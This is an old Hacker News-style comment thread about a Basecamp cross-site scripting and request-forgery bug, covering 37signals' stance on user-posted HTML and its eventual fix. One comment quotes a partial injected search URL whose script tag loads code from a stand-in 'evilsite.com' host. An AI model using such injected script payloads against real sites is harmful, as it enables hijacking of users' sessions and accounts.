XSS is not a feature

http://evilpacket.net/2009/jul/9/basecamp-one-wrong-click/

by acangiano • 17 years ago

72 25 17 years ago

evilpacket.net

lsb• 17 years ago

They've also been accused of storing passwords in cleartext: http://news.ycombinator.com/item?id=589852

dougp2• 17 years ago

This looks like cross site request forgery to me. Not an xss issue which you notified 37 signals about.

dpcan2• 17 years ago

From another site, he executed javascript on a basecamp account with an open session. Sounds pretty XSS to me.

dougp2• 17 years ago

Yes the javascript on a separate site the he controls made http requests acting as the logged in user. It has nothing to do with being able to write html and javascript on a basecamp page. http://en.wikipedia.org/wiki/Cross-site_request_forgery There are lots of sites that are vulnerable to this.

andreyf• 17 years ago

What's visible of the "evil" URL, at 1:52, looks like: http;//andyet.basecamphq.com/search?global=true&scope=all&terms=%3Cscript+src%3d%22http;//evilsite.com/evil.js... (: replaced with ; so news.YC doesn't shorten link)

This is a lack of filtering of a search input on the search page, not the bug they submitted - that one included injecting HTML/JS by logged in users onto "internal" pages. Conflating the two is disingenuous, at best.

Good news is that a fix for this vulnerability -filtering the search box's inputs- will take about 30 seconds for someone familiar with the code base and ~5 minutes for a brand new intern.

there2• 17 years ago

it will fix that one particular blind xss vulnerability, but from 37signals' response ("[their] users find great value in it") it sounds like they are allowing arbitrary html and javascript to be run everywhere else on the site.

other vulnerabilities would probably require that one has a basecamp account to be able to post messages to the site or something, but they allow privilege escalation and need to be fixed just the same.

37signals' response that users should be trusted is just stupid. think of a customer logging into their vendor's basecamp site, being able to take over the vendor's account and then see all of their other customers.

users (and their input) should never be trusted. even if you trust the users, you can't always guarantee that the trusted user is the one in control of their web browser.

fretlessjazz• 17 years ago

Yeah... from personal experience, if an app is intentionally or unintentionally built without XSS or CSRF protection, a complete fix-up of a codebase as large as Basecamp is pretty expensive. Granted there are solutions that take care of 99% of the vulnerabilities, but the amount of testing/debugging/coding to close that 1% gap is huge.

Especially when you're still required to churn out new features in parallel.

jeremymcanally• 17 years ago

think of a customer logging into their vendor's basecamp site, being able to take over the vendor's account and then see all of their other customers.

Sounds like a customer I don't want. Money is great and all, but if a customer is going to hack my Basecamp account, then I don't want to work for them anymore.

I don't think "your users should be trusted" is a ridiculous way to look at things. Technology can't solve some problems.

suhail• 17 years ago

it was for myspace

philfreo• 17 years ago

37signals is such a great company.. I really wish they would put a little thought and effort toward security.

tptacek2• 17 years ago

I believe --- for a bunch of reasons --- that they do put thought and effort into security. I think they often come to the wrong conclusions. We still rely on them, but we're careful about how.

erlanger2• 17 years ago

Basecamp is not a bank.

natrius• 17 years ago

That's ridiculous. People use Basecamp to run their businesses, which are the source of all their future income, which, in most cases, is more valuable than your current bank account balance.

erlanger2• 17 years ago

'Twas a joke (I myself run a significant portion of by business through Basecamp so what you argue is pretty apparent). The "X is not a bank" thing is a joke about sites with cavalier attitudes toward security.

billpg• 17 years ago

Samy is my hero.

stse• 17 years ago

Force the user to supply a password to change email or other important information might help, but this XSS vulnerability is still pretty bad as you can make all kinds of phishing-style attacks.

dhh• 17 years ago

This was a bug and it has been fixed. We do not consider CRSF attacks to be a feature. This is completely different from allowing legit users to post HTML/JS from inside the application.

We now also have a dedicated email address and public key for reporting any similar issues. See http://37signals.com/security.

XSS is not a feature

Related Stories